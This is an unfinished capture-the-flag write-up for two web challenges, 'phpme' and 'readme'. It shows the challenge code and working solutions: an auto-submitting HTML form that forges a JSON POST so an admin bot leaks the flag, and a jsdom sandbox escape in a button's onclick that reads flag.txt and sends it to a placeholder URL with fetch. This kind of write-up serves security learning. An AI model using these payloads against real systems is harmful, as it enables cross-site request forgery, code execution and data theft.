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writeups
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522-writeu
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 5225225
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5225225
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# DRAFT : NOT FINISHED
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# phpme
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by [5225225](https://www.5snb.club) and haskal
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web / 469 pts / 64 solves
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> "This is what normal PHP CTF challenges look like, right?" - A web dev who barely knows PHP
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Going to the URL given shows us this source code
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```php
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<?php
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include "secret.php";
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// https://stackoverflow.com/a/6041773
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function isJSON($string) {
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json_decode($string);
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return json_last_error() === JSON_ERROR_NONE;
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}
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if ($_SERVER['REQUEST_METHOD'] === 'POST') {
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if(isset($_COOKIE['secret']) && $_COOKIE['secret'] === $secret) {
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// https://stackoverflow.com/a/7084677
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$body = file_get_contents('php://input');
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if(isJSON($body) && is_object(json_decode($body))) {
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$json = json_decode($body, true);
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if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"])) {
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echo "<script>\n";
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echo " let url = '" . htmlspecialchars($json["url"]) . "';\n";
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echo " navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n";
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echo "</script>\n";
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}
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else {
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echo "nope :)";
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}
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}
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else {
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echo "not json bro";
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}
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}
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else {
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echo "ur not admin!!!";
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}
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}
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else {
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show_source(__FILE__);
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}
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?>
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```
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The challenge is to get the admin bot to visit a URL and make a POST request
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without user interaction, and then receive the flag back as a POST to the url
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given.
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The easiest way to do this is with a form. One issue is that form submission is
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submitting key/value pairs, but we need to submit valid JSON. [System Overlord
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- Posting JSON with an HTML
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Form](https://systemoverlord.com/2016/08/24/posting-json-with-an-html-form.html)
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was useful here.
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The final solution was
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```html
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<body onload='document.forms[0].submit()'>
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<form action='https://phpme.be.ax/' method='POST' enctype='text/plain'>
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<input name='{"yep":"yep yep yep", "url":"<URL>", "trash": "' value='"}'>
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</form>
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</body>
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```
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with `<URL>` replaced with some URL that can receive POST requests.
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I (522) didn't have an easy setup to receive the values of post requests, so
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I got haskal to set up nginx to log the values of POST data, then look through
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their logs. There's most definitely cleaner ways to do this, but this worked!
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For future reference, the nginx directive to log POSTed data is
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```nginx
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log_format postdata $request_body;
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server {
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location /flagzone {
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access_log /var/log/nginx/flags.log postdata;
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echo_read_request_body;
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# ...
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}
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# ...
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}
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```
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Once you get the data back, you can simply submit the flag and you're done!
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@ -0,0 +1,69 @@
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# DRAFT : NOT FINISHED
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# readme
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by [5225225](https://www.5snb.club)
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web / 478 pts / 46 solves
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> My new site readme is the ultimate tool for readers everywhere. Remove
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clutter from any site and also fetch the next chapters with the click of
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a button.
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provided files: [readme.tar](readme.tar) (Original extension was incorrectly `.tar.xz`)
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## solution
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Here, you were given a website with some server-side code to process a URL
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given to convert it to reader mode, using [mozilla's readability
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library](https://github.com/mozilla/readability). I wasn't expecting
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a vulnerability in there, but `readme` also had the feature that it would try
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and go to things that looked like they were the next page. I won't paste the
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full `index.js` from the tar file, but the relevant section is
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```js
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/**
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* Helper function to try and retrieve the next section of a site if it exists.
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*/
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const loadNextPage = async (dom, socket) => {
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let targets = [
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...Array.from(dom.window.document.querySelectorAll("a")),
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...Array.from(dom.window.document.querySelectorAll("button"))
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];
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targets = targets.filter(e => (e.textContent + e.className).toLowerCase().includes("next"));
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if(targets.length == 0) return;
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let target = targets[targets.length - 1];
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if(target.tagName === "A") {
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let newDom = await refetch(socket, target.href);
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return newDom;
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}
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else if(target.tagName === "BUTTON") {
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dom.window.eval(target.getAttribute("onclick"));
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return dom;
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}
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return;
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};
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```
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This will look for `a` tags as well as `button`s. The ability to load a new
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page is not all that interesting here, so I skipped looking at the handling for
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`a` tags. The evaluation of `button`s is interesting, as it uses
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[jsdom](https://github.com/jsdom/jsdom) to interpret the `onclick` of the given
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page.
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You can't *directly* access properties exposed, but you can do a sandbox escape
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using the global constructor given.
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<!--TODO: find wherever I got this from it was a stack overflow article and i cannot find it anymore-->
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```html
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<p id="hello">Hello, World!</p>
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<button class="next" onclick="global.constructor.constructor('return process')().mainModule.require('fs').readFile('flag.txt', 'utf8', function(err, fuck) {
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const mod = global.constructor.constructor('return process')().mainModule;
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const fetch = mod.require('node-fetch');
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fetch('<URL>' + fuck)
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})">Butt</button>
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```
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